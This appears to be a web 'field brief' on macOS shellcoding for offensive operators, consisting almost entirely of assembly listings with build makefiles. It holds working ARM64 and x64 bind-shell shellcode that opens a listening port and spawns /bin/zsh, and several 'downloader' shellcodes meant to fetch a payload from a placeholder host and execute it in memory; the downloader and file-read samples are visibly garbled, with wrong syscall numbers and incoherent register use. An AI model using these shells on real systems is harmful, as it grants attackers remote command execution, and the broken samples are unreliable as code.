Exploit // Build and Adapt

Macos Shellcoding

Macos Shellcoding is presented here as an operator-facing field brief. It focuses on why the topic matters during real offensive work, where it changes decision-making, and which public references are worth keeping close while validating or reporting it.

field briefoperator referencecurated public sources

Why this topic matters

Macos Shellcoding matters because it changes how an operator frames the problem, chooses validation steps and decides what evidence is strong enough to keep. In real work, weak handling of this topic leads to wasted time, noisy testing and softer findings.

This brief treats macos shellcoding as a reusable field reference. The focus is on attack surface, decision points, practical workflow and the public material that is worth keeping nearby when you need to execute, verify or explain the subject under pressure.

Core coverage

The points below capture the main workflows, concepts, tools and operator decisions associated with macos shellcoding.

  • Arm (silicon) makefile
  • Arm (silicon) bind shell shellcode
  • Arm (silicon) ftp downloader shellcode
  • Arm (silicon) http downloader shellcode
  • Arm (silicon) reverse shell shellcode
  • Arm (silicon) orw shellcode (open, read, write)
  • X64 makefile
  • X64 bind shell shellcode
  • X64 ftp downloader shellcode
  • X64 http downloader shellcode

Commands and snippets

build:
	as hello_world.asm -o hello_world.o
	ld hello_world.o -o hello_world -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
.global _main
.align 4

_main:
  mov X0, #2      ; domain = PF_INET
  mov X1, #1      ; type = SOCK_STREAM
  mov X2, XZR     ; protocol = IPPROTO_IP
  mov X16, #97    ; BSD system call 97 for socket
  svc #0xFFF      ; execute system call
  mov X11, X0     ; save socket descriptor

  mov X2, #16               ; address_len = 16 bytes
  mov X4, #0x200            ; sin_len = , sin family = 2
  movk X4, #0xD204, lsl#16  ; sin_port = 1234 = 0x04D2 (big endian fot TCP/IP)
  stp X4, XZR, [SP,#-16]!   ; push sockaddr_in to stack
  mov X1, SP                ; pointer to sockaddr_in structure
  mov X16, #104             ; BSD system call 104 for bind
  svc #0xFFF                ; execute system call

  mov X0, X11               ; restore saved socket descriptor
  mov X1, XZR               ; backlog = null
  mov X16, #106             ; BSD system call 106 for listen
  svc #0xFFF                ; execute system call

  mov X0, X11               ; resture saved socket descriptor
  mov X1, XZR               ; ignore address store
  mov X2, XZR               ; ignore length of address structure
  mov X16, #30              ; BSD system call 30 for accept
  svc #0xFFF                ; execute system call
  mov X12, X0               ; save new socket descriptor

  mov X16, #90              ; BSD system call 90 for dup2
  mov X1, #2                ; file descriptor 2 = STDERR
  svc #0xFFF                ; execute system call
  mov X0, X12               ; restore ned socket descriptor
  mov X1, #1                ; file descriptor 1 = STDOUT
  svc #0xFFF                ; execute system call
  mov X0, X12               ; restore new socket descriptor
  lsr X1, X1, #1            ; file descriptor 0 = STDIN
  svc #0xFFF                ; execute system call

  mov X3, #0x622F           ; move "/bin/zsh" into X3 (little endian in four moves)
  movk X3, #0x6E69, lsl#16
  movk X3, #0x7A2F, lsl#32
  movk X3, #0x6873, lsl#48
  stp X3, XZR, [SP, #-16]! ; push path and terminating 0 to stack
  mov X0, SP               ; save pointer to argv[0]
  stp X0, XZR, [SP,#-16]!  ; push argv[0] and terminating 0 to stack
  mov X1, SP               ; move pointer to argument array into X1
  mov X2, XZR              ; third argument for execve
  mov X16, #59             ; BSD system call 59 for execve
  svc #0xFFF               ; execute system call
.section __TEXT,__text
.global _start

_start:
    ; URL der herunterzuladenden Datei
    mov x0, url
    ; Pfad, in dem die Datei gespeichert werden soll
    mov x1, ziel_pfad

    ; Herunterladen der Datei
    xor x2, x2  ; Null-terminierte Zeichenkette
    mov x16, 0x2000005  ; system call number for open
    svc #0

    ; Datei erstellen oder öffnen
    mov x0, x0  ; file descriptor
    mov x2, 0x1000  ; Puffergröße
    mov x1, buffer
    xor x16, x16  ; Datei lesen
    svc #0

    ; prepare a memory region for shellcode
    mov x0, sp  ; pointer to the stack
    sub x0, x0, 0x1000  ; Verschieben um 4096 Bytes
    mov x1, buffer
    mov x2, x0  ; Länge des gelesenen Shellcodes
    mov x16, 0x200004  ; system call number for mmap
    xor x10, x10  ; Flags (MAP_PRIVATE | MAP_ANONYMOUS)
    xor x8, x8  ; Datei-Deskriptor (ignoriert)
    xor x9, x9  ; Offset in der Datei (ignoriert)
    svc #0

    ; Shellcode in den Speicher kopieren
    mov x0, x0  ; Zieladresse
    mov x1, buffer
    mov x2, x0  ; Länge des Shellcodes
    xor x16, x16  ; Datei lesen
    svc #0

    ; Shellcode ausführen
    mov x0, x0  ; Shellcode-Adresse
    xor x16, x16  ; Exit-Code 0
    blr x0

    ; Programm beenden
    mov w0, 0  ; Exit-Code 0
    mov x16, 0x2000001  ; system call number for exit
    svc #0

.section __DATA,__data
url: .asciz "ftp://example.com/deine_datei.txt"
ziel_pfad: .asciz "/pfad/zur/dein_datei.txt"
buffer: .space 4096
.section __TEXT,__text
.global _start

_start:
    ; URL der herunterzuladenden Datei
    ldr x0, =url
    ; Pfad, in dem die Datei gespeichert werden soll
    ldr x1, =ziel_pfad

    ; Herunterladen der Datei
    xor x2, x2  ; Null-terminierte Zeichenkette
    mov x16, 0x2000005  ; system call number for open
    svc #0

    ; Datei erstellen oder öffnen
    mov x8, x0  ; file descriptor
    mov x2, 0x1000  ; Puffergröße
    ldr x1, =buffer
    xor x0, x0  ; Datei lesen
    mov x16, 0x2000003  ; system call number for read
    svc #0

    ; prepare a memory region for shellcode
    mov x0, sp  ; pointer to the stack
    sub x0, x0, 0x1000  ; Verschieben um 4096 Bytes
    mov x1, x0  ; Zieladresse
    mov x2, x0  ; Größe
    mov x3, 0x7  ; PROT_READ | PROT_WRITE | PROT_EXEC
    mov x8, 0x0  ; Flags
    mov x16, 0x200001f  ; system call number for mmap
    svc #0

    ; Shellcode in den Speicher kopieren
    mov x1, x0  ; Zieladresse
    ldr x2, =buffer
    mov x3, x0  ; Länge des Shellcodes
    mov x0, x8  ; Datei lesen
    mov x16, 0x2000003  ; system call number for read
    svc #0

    ; Shellcode ausführen
    mov x0, x1  ; Shellcode-Adresse
    blr x0

    ; Programm beenden
    xor x0, x0  ; Exit-Code 0
    mov x16, 0x2000001  ; system call number for exit
    svc #0

.section __DATA,__data
url: .asciz "https://example.com/deine_datei.txt"
ziel_pfad: .asciz "/pfad/zur/dein_datei.txt"
buffer: .skip 4096
section __TEXT,__text
global _start

_start:
    ; Datei öffnen
    mov x0, 0  ; system call number for open
    ldr x1, =pfad_zur_datei
    eor x2, x2  ; Flags (O_RDONLY)
    mov x16, 0x1000003  ; system call number for open
    svc 0x80

    ; file descriptor in X0 speichern
    mov x0, x0

    ; Inhalt der Datei lesen
    mov x0, 1  ; system call number for read
    mov x1, x0  ; file descriptor
    ldr x2, =buffer
    mov x3, 4096  ; Maximale Länge des zu lesenden Inhalts
    mov x16, 0x1000003  ; system call number for read
    svc 0x80

    ; write the contents to standard output
    mov x0, 1  ; system call number for write
    mov x1, 1  ; file descriptor 1 (standard output)
    ldr x2, =buffer
    mov x3, x0  ; Anzahl der gelesenen Bytes
    mov x16, 0x1000003  ; system call number for write
    svc 0x80

    ; Programm beenden
    mov x0, 0  ; Exit-Code 0
    mov x16, 0x1000001  ; system call number for exit
    svc 0x80

section __DATA,__data
pfad_zur_datei: .asciz "/pfad/zur/datei.txt"
buffer: .space 4096
build:
	nasm -f macho64 execute_command.asm
	ld -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib -lSystem execute_command.o -o execute_command
bits 64
global _main
_main:
  ;socket
  push    0x2
  pop     rdi               ; RDI = AF_INET = 2
  push    0x1
  pop     rsi               ; RSI = SOCK_STREAM = 1
  xor     rdx, rdx          ; RDX = IPPROTO_IP = 0

  ;store syscall number on RAX
  push    0x61              ; put 97 on the stack (socket syscall#)
  pop     rax               ; pop 97 to RAX
  bts     rax, 25           ; set the 25th bit to 1
  syscall                   ; trigger syscall
  mov     r9, rax           ; save socket number

  ; bind
  mov     rdi, r9           ; put saved socket fd value to RDI = socket fd

  ; Begin building the memory structure on the stack
  xor     rsi, rsi          ; RSI = sin_zero[8] = 0x0000000000000000
  push    rsi               ;

  ; next entry on the stack should be 0x00000000 5c11 02 00 = (sin_addr .. sin_len)
  mov     esi, 0x5c110201   ; port sin_port=0x115c, sin_family=0x02, sin_len=0x01
  dec     esi               ; sin_len=0x00
  push    rsi               ; push RSI (=0x000000005c110200) to the stack
  push    rsp
  pop     rsi               ; RSI = RSP = pointer to the structure

  push    0x10
  pop     rdx               ; RDX = 0x10 (length of socket structure)

  ;store syscall number on RAX
  push    0x68              ; put 104 on the stack (bind syscall#)
  pop     rax               ; pop it to RAX
  bts     rax, 25           ; set the 25th bit to 1
  syscall                   ; trigger syscall

  ;listen
  mov     rdi, r9           ; put saved socket fd value to RDI
  xor     rsi, rsi          ; RSI = 0

  ;store syscall number on RAX
  push    0x6a              ; put 106 on the stack (listen syscall#)
  pop     rax               ; pop it to RAX
  bts     rax, 25           ; set the 25th bit to 1
  syscall                   ; trigger syscall

  ;accept
  mov     rdi, r9           ; put saved socket fd value to RDI
  xor     rsi, rsi          ; *address = RSI = 0
  xor     rdx, rdx          ; *address_len = RDX = 0

  ;store syscall number on RAX
  push    0x1e              ; put 30 on the stack (accept syscall#)
  pop     rax               ; pop it to RAX
  bts     rax, 25           ; set the 25th bit to 1
  syscall                   ; trigger syscall
  mov     r10,rax           ; save returned connection file descriptor into R10

  ;dup2
  mov     rdi, r10          ; put the connection file descriptor into RDI
  push    2
  pop     rsi               ; set RSI = 2
  dup2_loop:                ; beginning of our loop
  push    0x5a              ; put 90 on the stack (dup2 syscall#)
  pop     rax               ; pop it to RAX
  bts     rax, 25           ; set the 25th bit to 1
  syscall                   ; trigger syscall
  dec     rsi               ; decrement RSI
  jns     dup2_loop         ; jump back to the beginning of the loop if RSI>=0

  ;execv
  xor     rdx, rdx          ; zero our RDX
  push    rdx               ; push NULL string terminator
  mov     rbx, '/bin/zsh'   ; move our string into RBX
  push    rbx               ; push the string we stored in RBX to the stack
  mov     rdi, rsp          ; store the stack pointer in RDI
  push    rdx               ; argv[1] = 0
  push    rdi               ; argv[0] = /bin/zsh
  mov     rsi, rsp          ; argv    = rsp - store RSP's value in RSI
  push    59                ; put 59 on the stack
  pop     rax               ; pop it to RAX
  bts     rax, 25           ; set the 25th bit to 1
  syscall
section __TEXT,__text
global _start

_start:
    ; URL der herunterzuladenden Datei
    mov rdi, url
    ; Pfad, in dem die Datei gespeichert werden soll
    mov rsi, ziel_pfad

    ; Herunterladen der Datei
    xor rdx, rdx  ; Null-terminierte Zeichenkette
    mov rax, 0x2000005  ; system call number for open
    syscall

    ; Datei erstellen oder öffnen
    mov rdi, rax  ; file descriptor
    mov rdx, 0x1000  ; Puffergröße
    mov rsi, buffer
    xor rax, rax  ; Datei lesen
    syscall

    ; prepare a memory region for shellcode
    mov rdi, rsp  ; pointer to the stack
    sub rdi, 0x1000  ; Verschieben um 4096 Bytes
    mov rsi, buffer
    mov rdx, rax  ; Länge des gelesenen Shellcodes
    mov rax, 0x200004  ; system call number for mmap
    xor r10, r10  ; Flags (MAP_PRIVATE | MAP_ANONYMOUS)
    xor r8, r8  ; Datei-Deskriptor (ignoriert)
    xor r9, r9  ; Offset in der Datei (ignoriert)
    syscall

    ; Shellcode in den Speicher kopieren
    mov rdi, rax  ; Zieladresse
    mov rsi, buffer
    mov rdx, rax  ; Länge des Shellcodes
    xor rax, rax  ; Datei lesen
    syscall

    ; Shellcode ausführen
    mov rdi, rax  ; Shellcode-Adresse
    xor rax, rax  ; Exit-Code 0
    call rdi

    ; Programm beenden
    xor edi, edi  ; Exit-Code 0
    mov rax, 0x2000001  ; system call number for exit
    syscall

section __DATA,__data
url: db "ftp://example.com/deine_datei.txt", 0
ziel_pfad: db "/pfad/zur/dein_datei.txt", 0
buffer: times 4096 db 0

Curated public references